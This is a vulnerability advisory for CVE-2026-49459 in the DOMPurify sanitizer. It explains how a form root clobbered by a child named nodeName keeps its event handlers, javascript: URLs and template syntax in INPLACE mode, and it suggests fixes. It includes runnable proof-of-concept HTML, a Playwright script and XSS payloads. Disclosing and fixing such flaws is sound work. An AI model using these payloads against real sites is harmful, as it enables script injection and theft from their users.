CVE-2026-49459: DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

INPLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { INPLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. forceRemove silently no-ops because the root has no parent; the iterator drives on to sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed sanitizeAttachedShadowRoots walk traversal, not the main sanitizeElements / sanitizeAttributes pipeline against the iterator-root node).

Affected

- DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that does DOMPurify.sanitize(node, { INPLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns]) - INPLACE where the root is not an HTMLFormElement - INPLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — forceRemove at src/purify.ts:930-939:

ts const forceRemove = function (node: Node): void { arrayPush(DOMPurify.removed, { element: node }); try { // eslint-disable-next-line unicorn/prefer-dom-node-remove getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null } catch () { remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op } // when the node has no parent };

When the iterator-root has no parent (the standard INPLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — sanitizeAttributes at src/purify.ts:1490-1492:

ts const sanitizeAttributes = function (currentNode: Element): void { executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

const { attributes } = currentNode;

/ Check if we have attributes; if not we might have a text node / if (!attributes || isClobbered(currentNode)) { return; // [B] silently skips ALL attribute checks } // for clobbered nodes ... };

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if isClobbered, then sanitizeElements already removed this node, so we will never reach sanitizeAttributes on it." That invariant holds for every non-root node (their forceRemove succeeds in detaching them), but fails for the iterator root in INPLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make forceRemove fail loudly on parent-less nodes (so the caller can bail out of INPLACE entirely) or have sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of sanitizeElements:

ts const nodeIterator = createNodeIterator(INPLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) { sanitizeElements(currentNode); // returns true if killed — IGNORED sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip ... }

If the return value were checked and sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently sanitizeAttributes is the only line of defense for a node that sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers isClobbered):

| name= value | property isClobbered checks | typeof on clobbered form | |---|---|---| | nodeName | typeof element.nodeName !== 'string' | object (an <INPUT>) | | setAttribute | typeof element.setAttribute !== 'function' | object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below | | namespaceURI | typeof element.namespaceURI !== 'string' | object | | insertBefore | typeof element.insertBefore !== 'function' | object | | hasChildNodes | typeof element.hasChildNodes !== 'function' | object | | childNodes | !(element.childNodes && typeof element.childNodes.length === 'number') | object — <INPUT> has no .length | | attributes | !(element.attributes instanceof NamedNodeMap) | object (an <INPUT> is not a NamedNodeMap) | | textContent | typeof element.textContent !== 'string' | object | | removeChild | typeof element.removeChild !== 'function' | object (non-callable) | | removeAttribute | typeof element.removeAttribute !== 'function' | object (non-callable) |

Any single one of the ten property names in isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber);

// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'. // isClobbered fires; forceRemove(root) becomes a no-op because root.parentNode === null. DOMPurify.sanitize(root, { INPLACE: true });

console.log('output:', root.outerHTML); // <form onmouseover="window.rooted = 1"><input name="nodeName"></form> // ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

document.body.appendChild(root); root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); console.log('handler fired:', window.rooted === 1); // true </script> </body></html>

(2) End-to-end — Playwright against main HEAD

js const { chromium } = require('playwright'); const path = require('path');

(async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.setContent('<!doctype html><html><body></body></html>'); await page.addScriptTag({ path: path.resolve('dist/purify.js') });

const result = await page.evaluate(() => { const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber);

DOMPurify.sanitize(root, { INPLACE: true });

document.body.appendChild(root); window.rooted = 0; root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

return { version: DOMPurify.version, output: root.outerHTML, handlerFired: window.rooted === 1, }; }); console.log(result); await browser.close(); })();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{ version: '3.4.5', output: '<form onmouseover="window.rooted = 1"><input name="nodeName"></form>', handlerFired: true }

(3) Variant matrix — six distinct clobber-target properties

Every property name in isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName" → <form onmouseover="…"><input></form> [BYPASS] name="setAttribute" → <form onmouseover="…"><input></form> [BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form> [BYPASS] name="insertBefore" → <form onmouseover="…"><input></form> [BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form> [BYPASS] name="childNodes" → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { INPLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

js const t = document.createElement('template'); t.innerHTML = untrustedHtml; DOMPurify.sanitize(t.content.firstElementChild, { INPLACE: true }); container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

- action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented. - id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZEDOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc. - target="top", autofocus, formenctype, formmethod — all survive untouched. - Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

js const root = document.createElement('form'); root.setAttribute('action', 'javascript:alert(1)'); root.setAttribute('target', 'top'); root.setAttribute('onclick', 'alert(2)'); root.setAttribute('onmouseover', 'alert(3)'); root.setAttribute('autofocus', ''); root.setAttribute('formaction', 'javascript:alert(4)'); root.setAttribute('id', 'cookie'); // DOM-clobbering primitive root.innerHTML += '<input name="nodeName">'; DOMPurify.sanitize(root, { INPLACE: true }); console.log(root.outerHTML); // <form action="javascript:alert(1)" target="top" onclick="alert(2)" // onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)" // id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { INPLACE: true }) a second time hits the same isClobbered → forceRemove → sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

js const root = parseAttackerHtml(); // form with input name="nodeName" child DOMPurify.sanitize(root, { INPLACE: true }); // bypass: attrs survive DOMPurify.sanitize(root, { INPLACE: true }); // STILL bypassed: attrs survive const recovered = (() => { const t = document.createElement('template'); t.innerHTML = root.outerHTML; // forces a fresh parse const r = t.content.firstElementChild; DOMPurify.sanitize(r, { INPLACE: true }); return r; })(); // recovered.outerHTML === '<form><input></form>' ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFEFORTEMPLATES bypass for the root's attributes. When the caller sets SAFEFORTEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFEFORTEMPLATES: true:

js const root = document.createElement('form'); root.setAttribute('title', '{{evil}}'); root.setAttribute('onmouseover', 'window.x=1'); const c = document.createElement('input'); c.setAttribute('name', 'nodeName'); root.appendChild(c);

DOMPurify.sanitize(root, { INPLACE: true, SAFEFORTEMPLATES: true });

console.log(root.outerHTML); // <form title="{{evil}}" onmouseover="window.x=1"><input></form> // ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

- DOM-based template systems / editors that wrap DOMPurify with an INPLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML). - Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons. - Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { INPLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with INPLACE and shadow DOM") hardens sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change forceRemove's parent-less-node behavior or sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the INPLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

1. Make forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

ts const forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch () { try { remove(node); } catch () {} return node.parentNode === null && / but still attached to itself / false; } }; Then at :1855, if sanitizeElements returns true AND INPLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

2. Strip attributes inside sanitizeAttributes for clobbered roots: when isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

3. Refuse INPLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFEFORTEMPLATES-bypass primitive; the present report does not depend on it.